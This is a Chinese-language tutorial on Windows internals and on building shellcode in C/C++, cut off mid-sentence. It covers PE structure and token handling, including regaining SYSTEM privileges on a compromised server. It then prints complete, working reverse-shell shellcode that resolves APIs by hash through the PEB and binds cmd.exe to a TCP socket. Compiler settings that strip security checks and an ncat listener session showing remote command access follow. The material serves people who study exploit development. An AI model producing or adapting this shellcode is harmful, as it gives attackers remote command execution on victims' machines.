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Windows基础
0x00 Windows Basics
这篇文章简要讲述Windows开发者应该了解的一些常识。
0x01 Win32 API
Windows的主要API由多个DLLs（Dynamic Link Libraries）提供。某个应用可以从那些DLL中导入函数并且对它们进行调用。这样就保证了普通用户态应用程序的可移植性。
0x02 PE文件格式
执行体和DLL都是PE(Portable Executable)文件。每个PE含有一个导入和导出表。导入表指定导入函数以及这些函数所在的文件（模块）。导出表指定导出函数，等等。函数可以被导入到其它的PE文件。
PE文件由多个节（section）组成（代码节，数据节，等等…）。在内存中， .reloc节中具有重定位可执行体或DLL的信息。在内存中，虽然有些代码（例如相对的jmp指令）的地址是相对的，但是多数代码所在的地址是绝对的，这取决于被加载的模块。
Windows loader从当前工作目录开始搜索DLLs，发布的某个应用可能具有一个不同于系统根（\windows\system32）目录中的DLL。该版本方面的问题（不兼容）被一些人称作DLL-hell。
重要的是理解相对虚拟内存地址 (Relative Virtual Address，RVA)的概念。PE文件提供RVAs来指定模块的相对基地址。换句话说，在内存中，如果某个模块在地址B（基地址）上被加载并且某个元素在该模块中具有RVA为X这一偏移量，那么该元素的虚拟内存地址（Virtual Address，VA）偏移量为B+X。
0x03 线程
如果你过去经常使用Windows平台，那么应该非常了解线程的概念。但是，如果你经常使用的是Linux，那么请记住，Windows平台将会为线程提供CPU时间片。你可以用CreateProcess()创建新进程并且用CreateThreads()创建新线程。线程会在它们所在进程的地址空间内执行，因此它们所在的内存是共享的。
线程也会被一种称作TLS（Thread Local Storage）的机制限制，该机制为线程提供了非共享内存。
基本上，每个线程的TEB都含有一个TLS数组，它具有64个DWORD值，并且在运行过程中超出TLS数组的有效元素个数时，会为额外的TLS数组分配1024个DWORD值。首先，两个数组中的一个数组的每个元素会对应一个索引值，该索引值必须被分配或使用TlsAlloc()来得到，可以用TlsGetValue(index) 来读取DWORD值并用TlsSetValue(index, newValue)将其写入。如，在当前线程的TEB中，TlsGetValue(7)表示从TLS数组中索引值为7的地址上读取DWORD值。
笔记：我们可以通过使用GetCurrentThreadId()来模拟该机制，但是不会有一样的效果。
0x04 令牌
令牌通常用于描述访问权限。就像文件句柄那样，令牌仅仅是一个32位整数。每个进程具有一个内部结构，该结构含有关于访问权限的信息，它与令牌相关联。
令牌分为两种类型：主令牌和模仿令牌。无论何时，某个进程被创建后都会被分配一个主令牌。进程的每个线程都可以拥有进程的令牌，或从另一进程中获取模仿令牌。如果LogonUser()函数被调用，则会返回一个不能被使用于CreateProcessAsUser()的模仿令牌（提供凭据），除非你调用了DupcateTokenEx来将其转换为主令牌。
可以使用SetThreadToken(newToken) 将某个令牌附加到当前线程并且可以使用RevertToSelf()来将该令牌删除，从而让线程的令牌还原为主令牌。
我们来了解下在Windows平台上，将某个用户连接到服务器并发送用户名和密码的情况。首先以SYSTEM身份运行服务器，将会调用具有凭据的LogonUser()，如果成功则返回新令牌。接着会在服务器创建新线程的同时调用SetThreadToken(new_token)，new_token参数是一个由 LogonUser()返回的令牌值。这样，线程被执行时就具有与用户一样的权限。当线程完成了对客户端的服务时，或者会被销毁，或者将调用revertToSelf() 而被添加到线程池的空闲线程队列中。
如果可以控制服务器，那么可通过调用RevertToSelf()，或在内存中查找其它的令牌并使用SetThreadToken()函数将它们附加到当前线程，从而恢复当前线程的权限，即SYSTEM权限。
值得注意的是，CreateProcess()使用主令牌作为新进程的令牌。当具有比主令牌更高权限的模仿令牌的线程调用CreateProcess()时存在一个问题，那就是新进程的权限会低于创建该进程的线程。
解决方案是使用DuplicateTokenEx()从当前线程的模拟令牌中创建一个新的主令牌，接着通过调用具有新的主令牌的CreateProcessAsUser() 创建新进程。
shellcode
0x00 介绍
Shellcode是一段被exploit作为payload发送的代码，它被注入到存在漏洞的应用，并且会被执行。Shellcode是自包含的，并且应该不含有null字节。通常使用函数如strcpy()来复制shellcode，在进行该复制过程中遇到null字节时，将停止复制。这样做会导致shellcode不能被完全复制。Shellcode一般直接由汇编语言编写，但是，在这篇文章中，我们将通过Visual Studio 2013使用c/c++来开发shellcode。在该开发环境下进行开发的好处如下：
1.花费更短的开发时间。
2.智能提示（intellisense）。
3.易于调试。
我们将使用VS2013来生成一个具有shellcode的执行体，也将使用python脚本来提取并修复（移除null字节）shellcode。
0x01 C/C++ 代码
仅仅使用栈变量
为了编写浮动地址代码（position independent code），我们必须使用栈变量。这意味着我们不能这么写。
char *v = new char[100];
因为那数组将被分配到栈。根据绝对地址，试着从msvcr120.dll 中调用new函数：
00191000 6A 64 push 64h
00191002 FF 15 90 20 19 00 call dword ptr ds:[192090h]
地址192090h上包含函数的地址。在没有依赖导入表以及Windows loader的情况下，要调用某库中已导入的函数，我们必须直接这么做。 另一个存在的问题是，新操作符可能需要某种通过c/c++语言编写的运行时组件来完成的初始化操作。
不能使用全局变量：
int x;
int main() {
x = 12;
}
上面的代码 (如果没有被优化)生成如下：
008E1C7E C7 05 30 91 8E 00 0C 00 00 00 mov dword ptr ds:[8E9130h],0Ch
地址8E9130h为变量x的绝对地址。
如果我们编写如下，会导致字符串存在问题
char str[] = "I'm a string";
printf(str);
字符串将被放入执行体的.rdata节中，并且会对其进行绝对地址引用。
在shellcode中不得使用printf：这只是一个了解str如何被引用的范例。
这是asm代码：
00A71006 8D 45 F0 lea eax,[str]
00A71009 56 push esi
00A7100A 57 push edi
00A7100B BE 00 21 A7 00 mov esi,0A72100h
00A71010 8D 7D F0 lea edi,[str]
00A71013 50 push eax
00A71014 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71015 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71016 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71017 A4 movs byte ptr es:[edi],byte ptr [esi]
00A71018 FF 15 90 20 A7 00 call dword ptr ds:[0A72090h]
正如你所看到的，字符串位于.rdata节中，地址为A72100h，通过movsd和movsb指令的执行，它会被复制进栈（str指向栈）。注意：A72100h为绝对地址。显然该代码不是地址无关的。
如果我们这样写：
char *str = "I'm a string";
printf(str);
那么字符串仍然会被放入.data节，但不会被复制进栈：
00A31000 68 00 21 A3 00 push 0A32100h
00A31005 FF 15 90 20 A3 00 call dword ptr ds:[0A32090h]
字符串在.rdata节中，绝对地址为A32100h。
如何让该代码地址无关?
更简单的（部分）解决方案：
char str[] = { 'I', '\'', 'm', ' ', 'a', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0' };
printf(str);
对应的汇编代码如下：
012E1006 8D 45 F0 lea eax,[str]
012E1009 C7 45 F0 49 27 6D 20 mov dword ptr [str],206D2749h
012E1010 50 push eax
012E1011 C7 45 F4 61 20 73 74 mov dword ptr [ebp-0Ch],74732061h
012E1018 C7 45 F8 72 69 6E 67 mov dword ptr [ebp-8],676E6972h
012E101F C6 45 FC 00 mov byte ptr [ebp-4],0
012E1023 FF 15 90 20 2E 01 call dword ptr ds:[12E2090h]
除了对printf的调用外，该段代码是地址无关的，因为字符串部分被直接编码进了mov指令的源操作数中。一旦该字符串在栈上，则可以被使用。
不幸的是，当字符串达到一定长度时，该方法就失效了。代码为：
char str[] = { 'I', '\'', 'm', ' ', 'a', ' ', 'v', 'e', 'r', 'y', ' ', 'l', 'o', 'n', 'g', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0' };
printf(str);
生成
013E1006 66 0F 6F 05 00 21 3E 01 movdqa xmm0,xmmword ptr ds:[13E2100h]
013E100E 8D 45 E8 lea eax,[str]
013E1011 50 push eax
013E1012 F3 0F 7F 45 E8 movdqu xmmword ptr [str],xmm0
013E1017 C7 45 F8 73 74 72 69 mov dword ptr [ebp-8],69727473h
013E101E 66 C7 45 FC 6E 67 mov word ptr [ebp-4],676Eh
013E1024 C6 45 FE 00 mov byte ptr [ebp-2],0
013E1028 FF 15 90 20 3E 01 call dword ptr ds:[13E2090h]
正如你所看到的，当字符串的其它部分像之前那样被编码进mov指令的源操作数中时，字符串部分将被定位在.rdata节中，地址为13E2100h。
我已提出的解决方案如下：
char *str = "I'm a very long string";
同时使用Python脚本修复shellcode。该脚本需要从.rdata节中提取被引用的字符串，并将它们放入到shellcode中，然后修复重定位信息。我们马上会了解到该实现方法。
不直接调用Windows API
在C/C++代码中，我们不能编写
WaitForSingleObject(procInfo.hProcess, INFINITE);
因为kernel32.dll中已导入了“WaitForSingleObject”函数。
在nutshell中，PE文件含有导入表和导入地址表（IAT）。导入表含有被导入到库中的函数的信息。当执行体被加载时，通过Windows loader编译IAT，并且其含有已导入的函数地址。该执行体的代码用间接寻址调用已导入到库中的函数。例如：
001D100B FF 15 94 20 1D 00 call dword ptr ds:[1D2094h]
地址1D2094h为入口地址（在IAT中），该地址含有函数 MessageBoxA的地址。因为如上调用函数的地址无需被修复（除非执行体被重定位），所以可以直接使用该地址。Windows loader只需要修复的是在1D2094h地址，该dword值是MessageBoxA函数的地址。
解决方案是直接从Windows的数据结构中得到Windows的函数地址。之后我们将会了解到。
创建新项目
通过 File→New→Project…, 选择 Installed→Templates→Visual C++→Win32→Win32 Console Application, 为项目命名 (我将其命名为 shellcode) 接着点击OK。
通过 Project→<project name> properties 将出现新会话框。通过将 Configuration（会话的左上方）设置为All Configurations将修改应用到所有配置（Release和Debug）。接着，展开Configuration Properties并且在General 下修改Platform Toolset 。该编译器为Visual C++ Compiler Nov 2013 CTP(CTP_Nov2013)。
这样你将可以使用C++11和C++14的一些特性，如static_assert。
Shellcode范例
这是一段简单的反向shell代码（定义）。将命名为shellcode.cpp的文件添加到项目中并将该代码复制到shellcode.cpp。不要试图理解所有的代码。后面我们还会对其进行进一步的讨论。
// Simple reverse shell shellcode by Massimiliano Tomassoli (2015)
// NOTE: Compiled on Visual Studio 2013 + "Visual C++ Compiler November 2013 CTP".
#include <WinSock2.h> // must preceed #include <windows.h>
#include <WS2tcpip.h>
#include <windows.h>
#include <winnt.h>
#include <winternl.h>
#include <stddef.h>
#include <stdio.h>
#define htons(A) ((((WORD)(A) & 0xff00) >> 8) | (((WORD)(A) & 0x00ff) << 8))
_inline PEB *getPEB() {
PEB *p;
__asm {
mov eax, fs:[30h]
mov p, eax
}
return p;
}
DWORD getHash(const char *str) {
DWORD h = 0;
while (*str) {
h = (h >> 13) | (h << (32 - 13)); // ROR h, 13
h += *str >= 'a' ? *str - 32 : *str; // convert the character to uppercase
str++;
}
return h;
}
DWORD getFunctionHash(const char *moduleName, const char *functionName) {
return getHash(moduleName) + getHash(functionName);
}
LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) {
int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset);
}
// NOTE: This function doesn't work with forwarders. For instance, kernel32.ExitThread forwards to
// ntdll.RtlExitUserThread. The solution is to follow the forwards manually.
PVOID getProcAddrByHash(DWORD hash) {
PEB *peb = getPEB();
LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
LIST_ENTRY *ptr = first;
do { // for each module
LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
ptr = ptr->Flink;
BYTE *baseAddress = (BYTE *)dte->DllBase;
if (!baseAddress) // invalid module(???)
continue;
IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!iedRVA) // Export Directory not present
continue;
IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
char *moduleName = (char *)(baseAddress + ied->Name);
DWORD moduleHash = getHash(moduleName);
// The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
// element of both arrays refer to the same function. The first array specifies the name whereas
// the second the ordinal. This ordinal can then be used as an index in the array pointed to by
// AddressOfFunctions to find the entry point of the function.
DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
char *functionName = (char *)(baseAddress + nameRVAs[i]);
if (hash == moduleHash + getHash(functionName)) {
WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
return baseAddress + functionRVA;
}
}
} while (ptr != first);
return NULL; // address not found
}
#define HASH_LoadLibraryA 0xf8b7108d
#define HASH_WSAStartup 0x2ddcd540
#define HASH_WSACleanup 0x0b9d13bc
#define HASH_WSASocketA 0x9fd4f16f
#define HASH_WSAConnect 0xa50da182
#define HASH_CreateProcessA 0x231cbe70
#define HASH_inet_ntoa 0x1b73fed1
#define HASH_inet_addr 0x011bfae2
#define HASH_getaddrinfo 0xdc2953c9
#define HASH_getnameinfo 0x5c1c856e
#define HASH_ExitThread 0x4b3153e0
#define HASH_WaitForSingleObject 0xca8e9498
#define DefineFuncPtr(name) decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)
int entryPoint() {
// printf("0x%08x\n", getFunctionHash("kernel32.dll", "WaitForSingleObject"));
// return 0;
// NOTE: we should call WSACleanup() and freeaddrinfo() (after getaddrinfo()), but
// they're not strictly needed.
DefineFuncPtr(LoadLibraryA);
My_LoadLibraryA("ws2_32.dll");
DefineFuncPtr(WSAStartup);
DefineFuncPtr(WSASocketA);
DefineFuncPtr(WSAConnect);
DefineFuncPtr(CreateProcessA);
DefineFuncPtr(inet_ntoa);
DefineFuncPtr(inet_addr);
DefineFuncPtr(getaddrinfo);
DefineFuncPtr(getnameinfo);
DefineFuncPtr(ExitThread);
DefineFuncPtr(WaitForSingleObject);
const char *hostName = "127.0.0.1";
const int hostPort = 123;
WSADATA wsaData;
if (My_WSAStartup(MAKEWORD(2, 2), &wsaData))
goto __end; // error
SOCKET sock = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET)
goto __end;
addrinfo *result;
if (My_getaddrinfo(hostName, NULL, NULL, &result))
goto __end;
char ip_addr[16];
My_getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST);
SOCKADDR_IN remoteAddr;
remoteAddr.sin_family = AF_INET;
remoteAddr.sin_port = htons(hostPort);
remoteAddr.sin_addr.s_addr = My_inet_addr(ip_addr);
if (My_WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL))
goto __end;
STARTUPINFOA sInfo;
PROCESS_INFORMATION procInfo;
SecureZeroMemory(&sInfo, sizeof(sInfo)); // avoids a call to _memset
sInfo.cb = sizeof(sInfo);
sInfo.dwFlags = STARTF_USESTDHANDLES;
sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock;
My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo);
// Waits for the process to finish.
My_WaitForSingleObject(procInfo.hProcess, INFINITE);
__end:
My_ExitThread(0);
return 0;
}
int main() {
return entryPoint();
}
编译器配置
通过Project→<project name> properties, 展开 Configuration Properties接着选择 C/C++。应用修改后的Release配置。
这里是需要修改的设置：
- General:
- oSDL Checks: No (/sdl-)
这可能并不需要，但是我已将它们关闭了。
- Optimization:
- Optimization: Minimize Size (/O1)
这很重要！我们得尽可能将shellcode简短。
* Inline Function Expansion: Only __inline (/Ob1)
使用这个设置告诉VS 2013只用_inline来定义内联函数。main() 仅调用shellcode的函数entryPoint。如果函数 entryPoint是简短的，那么它可能会被内联进main()。这将是极糟的，因为main()将不再透露shellcode的后一部分（事实上它包含了该部分）。后面会了解到原因。
* Enable Intrinsic Functions: Yes (/Oi)
我不知道该设置是否应该关闭。
* Favor Size Or Speed: Favor small code (/Os)
* Whole Program Optimization: Yes (/GL)
- Code Generation:
- Security Check: Disable Security Check (/GS-)
不需要安全检查!
* Enable Function-Level linking: Yes (/Gy)
linker配置
通过Project→<project name> properties, 展开Configuration Properties接着查看Linker。应用修改后的Release配置。这里是你需要修改的相关设置：
- General:
- Enable Incremental Linking: No (/INCREMENTAL:NO)
- Debugging:
- Generate Map File: Yes (/MAP)
告诉linker生成含有EXE结构的映射文件。
* Map File Name: mapfile
这是映射文件名。可自定义文件名。
- Optimization:
- References: Yes (/OPT:REF)
该选项对于生成简短的shellcode来说非常重要，因为可以除去函数以及不被代码引用的数据。
* Enable COMDAT Folding: Yes (/OPT:ICF)
* Function Order: function_order.txt
应用该设置读取命名为function_order.txt 的文件，该文件指定必须出现在代码节中函数的顺序。我们要将函数 entryPoint变为代码节中的第一个函数，可想而知，function_order.txt中必存在一行代码含有字符串?entryPoint@@YAHXZ。可以在映射文件中找到该函数名。
getProcAddrByHash
该函数返回由某个出现在内存中的模块（.exe或.dll）导出的某个函hash数的地址，已给出的`值与模块和函数相关联。当然，通过名字查找函数具有一定的可能性，但是这样做需要考虑空间方面的问题，因为那些名字应该被包含在shellcode中。在另一方面，一个hash仅有4个字节。因为我们不使用两个hash（一个用于模块，一个用于函数），getProcAddrByHash`需要考虑所有被加载进内存中的模块。
通过user32.dll导出函数MessageBoxA，该函数的hash值可通过如下方法计算：
DWORD hash = getFunctionHash("user32.dll", "MessageBoxA");
计算出的hash值为getHash(“user32.dll”) 与getHash(“MessageBoxA”)的hash值的总和。函数getHash的实现简明易懂：
DWORD getHash(const char *str) {
DWORD h = 0;
while (*str) {
h = (h >> 13) | (h << (32 - 13)); // ROR h, 13
h += *str >= 'a' ? *str - 32 : *str; // convert the character to uppercase
str++;
}
return h;
}
正如你可以了解到的，hash值是大小写不敏感的（不区分大小写），重要的是，因为在内存中，某种Windows的版本所使用的字符串都为大写。 首先，getProcAddrByHash获取TEB(Thread Environment Block)的地址：
PEB *peb = getPEB();
where
_inline PEB *getPEB() {
PEB *p;
__asm {
mov eax, fs:[30h]
mov p, eax
}
return p;
}
选择子fs与某个始于TEB地址的段相关联。在偏移30h上，TEB含有一个PEB(Process Environment Block)指针。用WinDbg可以观察到：
0:000> dt _TEB @$teb
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : (null)
+0x02c ThreadLocalStoragePointer : 0x7efdd02c Void
+0x030 ProcessEnvironmentBlock : 0x7efde000 _PEB
+0x034 LastErrorValue : 0
+0x038 CountOfOwnedCriticalSections : 0
+0x03c CsrClientThread : (null)
<snip>
PEB与当前的进程相关联，除了别的以外，含有关于某些模块的信息，这些模块都被加载到进程地址空间中。 此处又是getProcAddrByHash：
PVOID getProcAddrByHash(DWORD hash) {
PEB *peb = getPEB();
LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
LIST_ENTRY *ptr = first;
do { // for each module
LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
ptr = ptr->Flink;
.
.
.
} while (ptr != first);
return NULL; // address not found
}
此处为PEB部分:
0:000> dt _PEB @$peb
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 BitField : 0x8 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsLegacyProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y1
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 SpareBits : 0y000
+0x004 Mutant : 0xffffffff Void
+0x008 ImageBaseAddress : 0x00060000 Void
+0x00c Ldr : 0x76fd0200 _PEB_LDR_DATA
+0x010 ProcessParameters : 0x00681718 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : (null)
+0x018 ProcessHeap : 0x00680000 Void
<snip>
在偏移0Ch上，是一个被称作Ldr的字段，它是个PEB_LDR_DATA 结构指针。使用WinDbg进行观察：
0:000> dt _PEB_LDR_DATA 0x76fd0200
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x683088 - 0x6862c8 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x683120 - 0x6862d0 ]
+0x024 EntryInProgress : (null)
+0x028 ShutdownInProgress : 0 ''
+0x02c ShutdownThreadId : (null)
InMemoryOrderModuleList是一个LDR_DATA_TABLE_ENTRY结构的双链表，它与当前进程的地址空间中所加载的模块相关联。更确切地说，InMemoryOrderModuleList 是一个LIST_ENTRY，它含有两个部分：
0:000> dt _LIST_ENTRY
ntdll!_LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
Flink为前向链表，Blink为后向链表。Flink指向第一个模块的LDR_DATA_TABLE_ENTRY 。当然，未必就是如此：
Flink指向一个被包含在结构LDR_DATA_TABLE_ENTRY中的LIST_ENTRY结构。
我们来观察LDR_DATA_TABLE_ENTRY 是如何被定义的:
0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
+0x034 Flags : Uint4B
+0x038 LoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
+0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
+0x04c PatchInformation : Ptr32 Void
+0x050 ForwarderLinks : _LIST_ENTRY
+0x058 ServiceTagLinks : _LIST_ENTRY
+0x060 StaticLinks : _LIST_ENTRY
+0x068 ContextInformation : Ptr32 Void
+0x06c OriginalBase : Uint4B
+0x070 LoadTime : _LARGE_INTEGER
InMemoryOrderModuleList.Flink指向位于偏移为8的_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks，因此，我们必须减去8来获取 _LDR_DATA_TABLE_ENTRY的地址。
首先，获取Flink指针:
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]
它的值是0x683080，因此_LDR_DATA_TABLE_ENTRY 结构的地址为0x683080 – 8 = 0x683078:
0:000> dt _LDR_DATA_TABLE_ENTRY 683078
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x359469e5 - 0x1800eeb1 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x683110 - 0x76fd020c ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x683118 - 0x76fd0214 ]
+0x018 DllBase : (null)
+0x01c EntryPoint : (null)
+0x020 SizeOfImage : 0x60000
+0x024 FullDllName : _UNICODE_STRING "蒮ｍ쿟ﾹ엘ﾬ膪ｎ???"
+0x02c BaseDllName : _UNICODE_STRING "C:\Windows\SysWOW64\calc.exe"
+0x034 Flags : 0x120010
+0x038 LoadCount : 0x2034
+0x03a TlsIndex : 0x68
+0x03c HashLinks : _LIST_ENTRY [ 0x4000 - 0xffff ]
+0x03c SectionPointer : 0x00004000 Void
+0x040 CheckSum : 0xffff
+0x044 TimeDateStamp : 0x6841b4
+0x044 LoadedImports : 0x006841b4 Void
+0x048 EntryPointActivationContext : 0x76fd4908 _ACTIVATION_CONTEXT
+0x04c PatchInformation : 0x4ce7979d Void
+0x050 ForwarderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x058 ServiceTagLinks : _LIST_ENTRY [ 0x6830d0 - 0x6830d0 ]
+0x060 StaticLinks : _LIST_ENTRY [ 0x6830d8 - 0x6830d8 ]
+0x068 ContextInformation : 0x00686418 Void
+0x06c OriginalBase : 0x6851a8
+0x070 LoadTime : _LARGE_INTEGER 0x76f0c9d0
正如你可以看到的，我正在用WinDbg调试calc.exe！不错：第一个模块是执行体本身。重要的是DLLBase (c)字段。根据给出的模块的基地址，我们可以分析被加载到内存中的PE文件并获取所有信息，如已导出的函数地址。 在getProcAddrByHash中我们所做的:
BYTE *baseAddress = (BYTE *)dte->DllBase;
if (!baseAddress) // invalid module(???)
continue;
IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!iedRVA) // Export Directory not present
continue;
IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
char *moduleName = (char *)(baseAddress + ied->Name);
DWORD moduleHash = getHash(moduleName);
// The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
// element of both arrays refer to the same function. The first array specifies the name whereas
// the second the ordinal. This ordinal can then be used as an index in the array pointed to by
// AddressOfFunctions to find the entry point of the function.
DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
char *functionName = (char *)(baseAddress + nameRVAs[i]);
if (hash == moduleHash + getHash(functionName)) {
WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
return baseAddress + functionRVA;
}
}
.
.
.
了解PE文件格式的规范可以更好地理解该段代码，这里不详细讲解。在PE文件结构中需要注意的是RVA(Relative Virtual Addresses)。即相对于PE模块（Dllbase）中基地址的地址。例如，如果RVA是100h并且DllBase是400000h，那么指向数据的RVA为400000h + 100h = 400100h。 该模块始于DOS_HEADER 。它包含一个NT_HEADERS的RVA(e_lfanew)。FILE_HEADER和OPTIONAL_HEADERNT_HEADERS存在于NT_HEADERS。OPTIONAL_HEADER含有一个被称作DataDirectory的数组，该数组指向PE模块的多个目录。了解Export Directory可参考链接https://msdn.microsoft.com/en-us/library/ms809762.aspx中提到的相关细节。
如下C结构体与Export Directory相关联，其定义如下：
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
DefineFuncPtr
DefineFuncPtr 是一个宏，它有助于定义一个已导入的函数指针. 这是范例:
#define HASH_WSAStartup 0x2ddcd540
#define DefineFuncPtr(name) decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)
DefineFuncPtr(WSAStartup);
WSAStartup函数是ws2_32.dll中已导入的函数，因此通过该方法计算HASH_WSAStartup
DWORD hash = getFunctionHash("ws2_32.dll", "WSAStartup");
当宏被展开时,
DefineFuncPtr(WSAStartup);
变为
decltype(WSAStartup) *My_WSAStartup = (decltype(WSAStartup) *)getProcAddrByHash(HASH_WSAStartup)
decltype(WSAStartup)为 WSAStartup函数的类型。这样，我们无需重定义函数原型。注意：在C++11中有关于 decltype的描述。
现在我们可通过My_WSAStartup调用 WSAStartup
注意：从模块中导入函数之前，我们需要确保已经在内存中加载了这个模块。
最简单的方法是使用LoadLibrary加载模块。
DefineFuncPtr(LoadLibraryA);
My_LoadLibraryA("ws2_32.dll");
该操作有效，因为kernel32.dll中已导入了LoadLibrary，正如我们说过的，它总会出现在内存中。
我们也可以导入GetProcAddress并使用它来获取所有其它我们需要的函数地址，但是没必要这么做，因为我们需要将所有的函数名包含在shellcode中。
entryPoint
显然，entryPoint是shellcode和实现反向shell的入口点。首先，我们导入所有我们需要的函数，接着我们使用它们。细节不重要并且我不得不说winsock API的使用非常麻烦。
在nutshell中:
1.创建套接字， 2.将套接字连接到127.0.0.1:123， 3.创建一个执行cmd.exe的进程， 4.将套接字附加到进程的标准输入，标准输出以及标准错误输出， 5.等待进程被终止， 6.当进程已经终止时，则终止当前线程。
第3点与第4点同时进行，第4点调用了CreateProcess, 攻击者可以连接到端口123上进行监听，一旦被成功连接，就可以通过套接字（socket）,即TCP连接，与运行在远程机器中的cmd.exe进行交互。
安装ncat，运行cmd并在命令行上输入：
ncat -lvp 123
此时将会在端口123上监听.
接着回到Visual Studio 2013，选择Release，搭建项目并运行它。再回到ncat，你将观察到如下：
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Kiuhnm>ncat -lvp 123
Ncat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Listening on :::123
Ncat: Listening on 0.0.0.0:123
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:4409.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Kiuhnm\documents\visual studio 2013\Projects\shellcode\shellcode>
现在可以执行任意命令了。退出则输入exit。
main
得益于linker的选项
Function Order: function_order.txt
